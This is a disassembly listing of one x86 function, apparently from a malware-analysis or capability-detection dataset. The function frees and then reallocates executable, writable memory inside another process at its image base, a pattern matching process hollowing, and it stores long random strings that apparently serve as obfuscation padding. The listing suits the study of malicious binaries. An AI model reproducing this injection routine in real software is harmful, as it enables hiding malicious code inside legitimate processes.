Function at 0x405fd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413e60
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x2c
push ebx
push esi
push edi
mov eax, dword [0x48a198]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x20], str.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
push 0x41c924
mov ecx, dword [ebp - 0x14]
call fcn.004063c0
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], str.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
push 0x4000
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [0x48b2e4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 0x28], str.hdDKlXNnwIRCUtbA7Rx1pYUbU9AvxguHab0fJC9m4vL3szwHuLsfCQG9v4mnYLSogHfHMPIwKiwxgIV0E4anlAPtlC1Nly6lOMOiJHqdL5GL2gn2KcaVC4bgk1TyOsLBkMPpQrwK9KX4V4FN9TEDrg0y4iy68VnExo2BphIsC0bxIBvKtiqqPfSmXiCAtWnpuzMFHz6wKkkVBUvNDKWrS7RDaHUUC83fsF7B2J59N7xJlDbjP4i0C5miC3mENBA21lHAJgysRv38dYT5ugdE9s9d1F44O951XAP19IJyJxgYYHVoiL5ayzqaNIdaW3uYpHsuBLhu22ISVbtWfjTsWSLXddcB0eH5HkaNv8cf6C88UkzVyVkGtU9jfWvNg9s0ssbWeCUL3QiHfGaXK2FehfVTCCNOCRoPymm9a8eXMYbiJk78AjQBuzQkTGPuo2379GdOKBkGWdSiMW8W5OrAjD4dmsyhsORRFnTxo7OLYtFOfLQpyUGaVg75342oc39zLHc9zKFV3ATFwDMXzjqtynSpLurKv476qjwEJJfV7b7lvXkuW0aTpWJD8waXNPQQO6XimkjpSHY4CHMkMn20I3latMFj1QlDsmetVS10QsjIOrkhr5NzJPNmTJzQAfuJ5GFO0QSggy3Wxj3Bx9UzKwAujCFgtG4RG0gb4JRK7Vg4K3T00Urc2pCPlARYaqGdyxEzF8gUdnd5WUJBW33OSR7Bpxc8DiWpeT7fnFOd5sgJ7Nj4Ow73CmLVGgQxqIixvYyCL9B12CTrMagpjFAEAqAW7lbJwG29s1vmqm7F97NlY28bm98D7E4IpbDXtLodrAdiWdgtg2Jgf1ikcVXdzLXh33P8l7uc3ysuXGiF0hFKDj7hkj2Klwzzg1xTHrkY9bKc7PSsIAE3KEKUsWRROLrx3YCAD3OWRXcQ3N5YzxS5FpjyEMDooqB4cF9hIPJSCOy8qNlnrwKv1vLYa7ciwusYfEgG7gK24VdSV7uE1KJFSp1ryy0OC4K4ujiiqlr89Qdch8LRIjtDWfNCD4anahH3YRGeNIfj2qfjahMXK3IalCLDuTpzCpPDAn4lUAxedPBHk6yR6FqGKNt7rFaftJ7tSG9eVHxVoBh4wctrtJDolAl69krqdFTafvN8zpoWABRguflwnBx8QnH4r6UjoFTeMn411F7g4Xzm21jS5stus8MYtASnwjhdqC6y1XBijdkFUkYfAkWIVoGgFHjdacvxOtb8NoGV9bCFY8ijJ4xNvioJHHMGR3xDnULO8B2wC0C31oCG4k3qWxNLu9yPeEDRkMrniQeO4c9GScH0SDlXxpG5gVtTQQuyALTj3WK73xCGrGEMjktv4JITsi4klBcWUm3NIiX4rd9mx71vcyDPR0sUQMtLjVeiMSQJ7R8OmEqc5LGE9jaqJbmfpiw5qVqJsusHAdo1aGQUX30Bzptu3SLtq2BklK3rW9b1YtLFxpqo7oDJBvdVDiSBqwQKJFJt3GpDEmdkojMMsnFlc47lT9R9cEVPi2wRjKIjvavTS8dnWBAF0n41ILI3OCedIdPC4MPpUJpQu2EGxLhXtB5Xu4kFBWJNKIuEm5A3Oxs2UpFrdEXoQGlU9wuRbt6C77FS5MX3CzcJ73tAX8k37p9f8cUWmpz0y2YaPP5ThtYMm2TdP6o2YoV6nK9Eje7nRdqg01eQgn4n9NsFNAAm04kimnFcqMgsNrmXHUOOx5Dbg6huWGJ1qI1k5SPekfe7cCyXS0npBSKmJ18pkz3VjqTs1DTQY7QqQFaVduBWsJktSVqmYt80t9XAcAYDxbBIAEKs8wltC6cAgBdv3IX3tCom9i7AtCDrgFe9QYxI947aI6caAHXSFqr6UPecwUGlJTWtkDk8AgEbmMHTKURgaYyQ4T8nDQahTDCWk4XO0Um1ypItEURQOwkmGLvu6A8nCemYlDOEYQAwV1PPtlukh7r4lgXnpygVQ5EWDCraDrF1pXl8mTIhXEM6aPXjlzTstHpch4wBzDJf7Y7JuoQi2RjlMsT2YJYGsFT02RPVVYSpw4Hc5FEQpkcjkI2JBv8vJENBuInNlB4djCgjlHdrNnGirLv3OEB3jobcXbdy0b7JqjD2vv3tFfdfkmm5rihD9GuUABBgy0Ny79iwNb4jhWlODLxnBPHNgszQceUGeTIHSuibvVxiAoKmBURUG32gFEE6q4FiHkpEt0qATYaGnfiYVg4ak24WoknBGXwgeghlTH2vgI1Ib1VqRQI3pbi0vBJn8BhswjC9uSaVUwxAh4Ob9jlS9fLL4HaiGwRsRCEUKfs5bTBqJzbp2PjxWifM8Use32nx2WrUyKfjnqrkoxq0jcUexJ6MPAL0Fk3HiCWTXIrdSKFjPO7xiMkHSikIhaImModBtv34kNEC5Bmpp2UkLvB8d2BKA9g4n3nER7u3hW6wkNRxeHEk5TF81kddTaKLdXcWltWYGsE72d3Cd8if53pL6S7GoSW7MBsgdeUoHYNOCO5w0tVu6CwBsKQUe3YFpi57nzQiLrHewEx21HP92QDBpiESAupX8a8Gdk49w9abcPqTqBm2gBgdvdnIH77vLbNTBOJSXHzF6z5SdP3DHgOjBxxPMVrJT8smY21Qg32VG8hC4PzbLNzgLBgL5Y52SEzngsQRUqfovRbItTIzpNJPn7kjOq9LOcMWSe8eEsyF2eiNG8tq3onj349rit6dB1ROPYDEv4WBNHzlJuS4GjrnFNOlLrOERfHnz11jJu5emTlRnJduNONbqY0pzGzg3NnM58PPSkcLgtiM9sNsnOdmHA4c0F2eit3PSLxkLseG5ayto7aoWJjWeXXxoWfEzO441Uqjr9HApOAjaVYpxDBtVKmo67CBzhTIY8LMgVQmQkjyj01lG7wU3VvYsQ17M6aJQyDcOJu12FXsqedJtloG3NiGSWD8rlAJdV4rYJ6PzSffTnDPs6nEG0g8Kf7ByV658yVRTwLg99b2RYvAJIBa0uC7uFqp
push 0x40
push 0x3000
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [0x48b2e4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
jmp 0x4060be
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4